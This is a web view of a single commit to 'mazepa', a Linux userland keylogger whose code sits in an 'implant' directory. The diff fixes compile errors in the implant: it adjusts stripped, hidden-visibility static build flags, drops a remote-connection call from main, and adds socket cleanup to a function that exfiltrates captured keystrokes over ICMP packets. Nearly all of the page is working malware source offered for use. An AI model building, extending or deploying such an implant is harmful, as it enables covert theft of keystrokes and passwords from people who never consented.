mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 56ce2982b3c6f78a7c1f5c8a4c10b2429233791c
parent 795a47237afd7a23bd69b99193b0f5af95126ebf
Author: djnn.sh <[email protected]>
Date: Thu, 23 May 2024 23:28:46 +0200

fix(implant): stupid compile errors

Diffstat:
Mimplant/Makefile | 2+-
Mimplant/sources/main.c | 5-----
Mimplant/sources/net.c | 9++++++---

3 files changed, 7 insertions(+), 9 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -18,7 +18,7 @@ else
 	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
 	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
 	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-	CFLAGS 			+= -Wno-unsafe-buffer-usage -static
+	CFLAGS 			+= -static -Wno-visibility
 endif
 
 
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -19,11 +19,6 @@ int main(int ac, char **av, char **envp) {
 #endif
 
     fetch_available_keyboards(&instance);
-
-    int sockfd = init_remote_connection(&instance);
-    if (sockfd < 0)
-        return 1;
-
     keylog(&instance);
     return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -6,6 +6,7 @@
 #include <netinet/ip.h>
 #include <netinet/ip_icmp.h>
 #include <stdio.h>
+#include <unistd.h>
 #include "implant.h"
 
 /* Layout of the DATA packet is following
@@ -13,7 +14,7 @@
  */
 int send_key_icmp(implant_t *implant, struct input_event event) {
 
-    uint8_t payload[sizeof(struct input_event) + 32] = {0};
+    char payload[sizeof(struct input_event) + 32] = {0};
 
     /* for the userland implant, we will always assume the locale is
      * US, because I haven't yet found a way to hook evdev driver from here
@@ -37,6 +38,8 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
         perror("socket");
 #endif
 
+cleanup_error:
+        close(sockfd);
         return ERROR;
     }
 
@@ -50,7 +53,7 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
         perror("setsockopt");
 #endif
 
-        return ERROR;
+        goto cleanup_error;
     }
 
     if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
@@ -62,7 +65,7 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
         perror("setsockopt");
 #endif
 
-        return ERROR;
+        goto cleanup_error;
     }
 
     /* set packet metadata */